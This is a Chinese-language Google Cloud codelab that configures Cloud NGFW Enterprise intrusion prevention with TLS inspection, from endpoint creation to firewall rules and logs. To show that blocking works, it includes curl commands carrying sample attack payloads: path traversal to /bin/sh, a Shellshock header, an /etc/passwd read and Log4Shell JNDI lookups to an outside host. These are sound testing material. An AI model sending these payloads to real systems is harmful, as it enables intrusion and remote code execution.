Cloud NGFW Enterprise Codelab [具有 TLS 检查]

1. 简介

Cloud 新一代防火墙 (NGFW)

Cloud 新一代防火墙是一种完全分布式的防火墙服务，具有高级保护功能、微细分和广泛的覆盖范围，可保护您的 Google Cloud 工作负载免遭内部和外部攻击。

Cloud NGFW 具有以下优势：

  • 分布式防火墙服务：Cloud NGFW 在每个工作负载上提供基于有状态的完全分布式主机强制执行，以实现零信任安全架构。
  • 简化配置和部署：Cloud NGFW 实现网络和分层防火墙政策，可以附加到资源层次结构节点。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微细分：防火墙政策和 Identity and Access Management (IAM) 治理的标记相结合，可以跨虚拟私有云 (VPC) 网络和组织对南北向和东西向流量进行精细控制，并精确到单个虚拟机。

Cloud NGFW 可在以下层级中使用：

  • Cloud 新一代防火墙基本功能版
  • Cloud Next Generation Firewall Standard
  • Cloud 新一代防火墙企业版

Cloud NGFW 企业版

Cloud NGFW Enterprise 在分布式 Google Cloud Firewall 网络中添加了第 7 层功能入侵防御服务 (IPS)。支持 TLS 检查，以便检查 TLS 加密流量。

现在，您可以部署可靠的第 7 层新一代防火墙 (NGFW) 检查，并通过精细的控件进行管理，而无需对网络架构或路由配置进行任何更改。

如需启用和部署第 7 层防火墙控制功能（含 IPS），您需要执行以下任务：

  • 创建一组 Google Cloud 托管的可用区级防火墙端点。
  • （可选）创建 TLS 检查政策。
  • （可选）创建信任配置。
  • 将这些端点与您需要 Cloud NGFW Enterprise 服务的虚拟私有云 (VPC) 网络相关联。
  • 对现有的防火墙政策和防火墙规则进行简单更改，以指定各种流量路径的威胁防范配置文件。

网络防火墙政策

网络防火墙政策充当防火墙规则的容器。在网络防火墙政策与 VPC 网络关联之前，系统不会在任何位置强制执行该政策中定义的规则。每个 VPC 网络可以有一个与之关联的网络防火墙政策。网络防火墙政策支持在防火墙规则中使用 IAM 治理的标记（或简称“标记”），这些标记会取代当前的网络标记，可用于向工作负载提供身份。

在多个网络中共享网络防火墙政策以及与 IAM 治理的标记集成，可大大简化防火墙的配置和管理。

随着网络防火墙政策的推出，Google Cloud 的防火墙政策现在由以下组件组成：

  1. 分层防火墙政策
  2. VPC 防火墙规则
  3. 网络防火墙政策（全球和区域）

资源层次结构中的组织和文件夹节点支持分层防火墙政策，而 VPC 防火墙规则和网络防火墙政策则在 VPC 级别应用。VPC 防火墙规则与网络防火墙政策之间的一个重大区别是，VPC 防火墙规则只能应用于单个 VPC 网络，而网络防火墙政策可以附加到单个 VPC 或一组 VPC，还具有批量更新等其他优势。

最后，我们还有每个 VPC 网络附带的隐式防火墙规则：

  • 操作为“允许”且目的地为 0.0.0.0/0 的出站规则
  • 操作为“拒绝”且来源为 0.0.0.0/0 的入站规则

默认情况下，违规处置顺序如下图所示：

21b3bcabc469ffe.png

请注意，VPC 防火墙规则和全球网络防火墙政策之间的强制执行顺序可以互换。客户可以随时使用 gcloud 命令指定违规处置命令。

标签

新的集成到网络防火墙政策规则中的标记是在 Google Cloud 资源层次结构的组织级或项目级层定义的键值对资源。此类标记包含 IAM 访问权限控件，用于指定谁可以对标记执行什么操作。例如，通过 Identity and Access Management (IAM) 权限，您可以指定哪些主账号可为标记分配值，以及哪些主账号可将标记附加到资源。如果网络防火墙规则引用了标记，则必须将其应用于资源，以便强制执行。

标记遵循 Google Cloud 的继承资源模型，这意味着标记及其值会从其父级沿层次结构向下传递。因此，标记可以在一个位置创建，然后由整个资源层次结构中的其他文件夹和项目使用。如需详细了解标记和访问权限限制，请访问此页面。

请勿将标记与网络标记混淆。后者是可以添加到 Compute Engine 实例中的字符串；它们与实例相关联，并会在实例停用后消失。VPC 防火墙规则可能包含网络标记，但由于它们不被视为云资源，因此不受 IAM 访问权限控制的约束。

请注意，本文档中“标记”和“受 IAM 管控的标记”是互换使用的。

构建内容

此 Codelab 需要一个项目，并且您需要能够创建 VPC 网络以及管理多个网络和安全资源。该视频将演示 Cloud NGFW Enterprise 如何通过以下方式提供 IPS 功能：

  • 使用 TLS 检查检查南向互联网流量
  • 使用 TLS 检查功能检查 VPC 内流量 [东西流量]

系统将使用 Cloud 防火墙匹配参数（包括 5 元组 [源 IP、目标 IP、协议、源端口、目标端口] 和标记）来选择要检查的数据流。

3d0f288d3b92a295.png

网络防火墙政策规则库的最终状态将类似于下表：

优先级

方向

目标

来源

目的地

操作

类型

100

入站

Server_Tag

健康检查

不限

允许

必备应用

200

入站

Client_Tag、Server_Tag

IAP

不限

允许

必备应用

800

入站

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 检查

企业

850

出站

Client_Tag

不限

10.0.0.0/24

允许

必备应用

900

出站

Client_Tag

不限

不限

L7 检查

企业

学习内容

  • 如何创建网络防火墙政策。
  • 如何在网络防火墙政策中创建和使用标记。
  • 如何配置和使用启用了 TLS 检查的 Cloud NGFW 企业版。

所需条件

  • Google Cloud 项目。
  • 了解如何部署实例和配置网络组件。
  • VPC 防火墙配置知识。

2. 准备工作

创建/更新变量

此 Codelab 使用 $variables 来帮助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中，运行以下命令，根据需要替换括号中的信息：

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 启用 API

如果您尚未启用这些 API，请执行以下操作：

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW 企业版端点创建

由于 Cloud NGFW Enterprise 端点的创建过程大约需要 20 分钟，因此系统会先创建端点，然后在创建端点期间并行进行基本设置。

创建安全配置文件和安全配置文件组：

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

预期输出：

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

确认资源已成功创建：

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

预期输出（请注意，输出格式可能会因所使用的客户端而异：

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

创建 Cloud NGFW Enterprise 端点：

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

运行以下命令，确认端点正在创建中（CREATING）。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

创建过程大约需要 20 分钟。请继续前往“基本设置”部分，以并行创建所需的资源。

5. 基本设置

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网：

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建 Cloud Router 路由器和 Cloud NAT 网关：

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

实例

创建客户端和 Web 服务器实例：

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

项目级代码

如有需要，向用户分配 tagAdmin 权限：

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

创建项目级标记键和值：

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

将标记绑定到实例：

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球网络防火墙政策

创建全球网络防火墙政策：

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

创建所需的 Cloud 防火墙基本规则，以允许来自健康检查和身份感知代理范围的流量：

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

创建必要的 Cloud Firewall 规则，以允许来自特定范围的东-西/子网内入站流量（这些规则将更新为启用启用了 TLS 检查的 Cloud NGFW 企业版）：

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

将云防火墙政策与 VPC 网络相关联：

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud 防火墙端点关联

如果您尚未定义环境变量，并且/或者更倾向于使用脚本方法，请定义环境变量。

确认 Cloud Firewall 端点创建操作已成功完成。只有当状态显示为 ACTIVE 时（在创建期间，预期状态为 CREATING）才能继续操作：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

将 Cloud Firewall 端点与 VPC 网络相关联：

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。只有当状态显示为 ACTIVE（在创建期间，预期状态为 CREATING）时，才能继续执行 TLS 部分：

gcloud network-security firewall-endpoint-associations list

完成后预期输出：

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

（可选）运行以下命令可获取更多详细信息：

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

预期输出：

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 配置 TLS 资源

创建 CA 池。此资源将用于存放我们为 NGFW Enterprise 生成的根 CA 证书。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

创建根 CA。这是将用于为通过 NGFW Enterprise 发出的请求签署其他证书的 CA 证书。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果系统显示以下消息，请回答 y：

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

创建一个服务账号。此服务账号将用于为 NGFW Enterprise 请求证书：

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

为服务账号设置 IAM 权限：

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

创建 TLS 政策 YAML 文件。此文件将包含特定资源的相关信息：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

导入 TLS 检查政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端点关联以启用 TLS：

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

获取 CA 证书并将其添加到客户端的 CA 存储区：

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

将 CA 证书转移到客户端：

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

通过 SSH 连接到虚拟机，将 CA 证书移至 /usr/local/share/ca-certificates，然后更新 CA 存储区：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退回到 Cloud Shell。

服务器证书签名流程：

在 Cloud Shell 中，使用 pip 命令安装 Pyca 加密库：

pip install --user "cryptography>=2.2.0"

如需允许 Google Cloud SDK 使用 Pyca 加密库，您必须启用网站软件包。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

创建服务器证书：

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

这将在 Cloud Shell 中生成 cert.pem 和 key.pem 文件。接下来，将证书和密钥传输到服务器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

通过 SSH 连接到服务器，以更新 Apache 的证书详细信息：

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

将证书和密钥移至特定文件夹：

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 ssl 配置以使用已签名证书：

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重启 Apache：

sudo systemctl restart apache2

验证 Apache 状态：

sudo systemctl status apache2

它应处于活动（运行）状态。

退出虚拟机，然后在 Cloud Shell 中继续操作。

8. 验证北向和东西向连接

在 Cloud Shell 中运行以下命令，并记下要使用的目标 IP：

gcloud compute instances list --filter="name=($prefix-$zone-www)"

打开一个新标签页，然后通过 IAP 发起与客户端虚拟机的 SSH 连接（您需要在新标签页中定义变量）：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

运行以下命令，并记下要使用的目标 IP。创建变量，将括号中的值替换为上一步中记下的 IP，并确保它们可访问：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

使用 Curl 访问专用 IP，并确保其可访问：

curl https://$target_privateip --max-time 2

curl 请求的预期结果：

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 发送示例攻击。Web 服务器应响应所有请求，以确认未实施 L7 检查/防范措施：

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期结果示例（专用 IP）：

400
404
400
200
200

同样，向互联网目的地发送请求：

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

预期结果示例（互联网目的地）：

400
404
400
403
403

退出虚拟机终端并返回 Cloud Shell。

9. 创建和更新 TLS 检查的防火墙规则

之前，我们配置了一项防火墙规则，以允许从内部子网向我们的服务器发送入站流量。现在，我们将更新现有的入站规则，并将操作设置为 apply_security_profile_group。这将启用启用 TLS 的 E/W L7 检查：

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

创建一条新规则，以使用 TLS 检查南向 L7 检查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

创建一个新规则，允许 E/W 出站流量，以防止重复检查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. 验证北向 TLS 检查

切换回“客户端虚拟机”标签页或重新连接：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例攻击发送到互联网目的地：

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

系统不会收到任何响应，如以下预期输出所示，这证实系统现在会屏蔽示例攻击：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

将该变量设置为之前的服务器 IP 地址：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

向服务器发送示例 TLS 请求：

curl https://$target_privateip --max-time 2

预期输出：

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

此请求为何失败？这是因为防火墙正在接收来自不受信任的服务器的证书。如果发生这种情况，它会将自签名证书传回给客户端。我们需要在信任配置中添加 CA 证书，以启用信任。

返回 Cloud Shell。

11. 配置信任配置

获取根 CA 证书，并将其设置为格式正确的变量。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

配置信任配置 YAML 文件。此文件包含 CA 证书等信任详细信息：

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

由于您的服务器证书是使用根 CA 签名的，因此上述命令会将根 CA 证书包含在信任库中。这意味着，除了公共 CA 之外（如果您的 TLS 政策将 excludePublicCaSet 设为 false），防火墙还会信任收到的任何由根 CA 签名的证书。

检查信任配置的内容。

cat trust_config.yaml

示例输出：

请密切注意证书的缩进对齐方式。必须严格遵循此格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

导入信任配置：

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 文件以添加信任配置：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

导入更新后的 TLS 政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 验证 E/W TLS 检查

通过 SSH 返回客户端，使用更新后的信任配置测试 E/W 流量：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向服务器运行示例 TLS 请求：

curl https://$target_privateip --max-time 2

如果您仍然收到以下输出，请等待更新传播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

预期输出：

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

将恶意测试流量发送到服务器：

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期输出：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

系统未收到任何响应，如以下预期输出所示，这证实了针对东/西攻击的示例攻击现在已被屏蔽。

13. 日志记录

在 Cloud 控制台中，依次前往 Logging > 日志浏览器，输入以下过滤条件，然后查询日志。将 [PROJECT_ID] 替换为您的 project_id：

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 日志条目应如下所示：

5b68cc1063c0f4bd.png

展开日志条目，并注意系统已识别并屏蔽了从客户端虚拟机发送到服务器的攻击（Apache Log4j 远程代码执行漏洞，如以下屏幕截图所示）。

478f18f8481e90ed.png

您已成功部署了启用了 TLS 检查功能的 Cloud NGFW Enterprise，以阻止恶意请求。

请参阅下一部分，了解清理步骤。

14. 清理步骤

基本设置清理

移除实例：

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果更改了 tagAdmin 和 tagUsers 角色，请执行以下步骤：
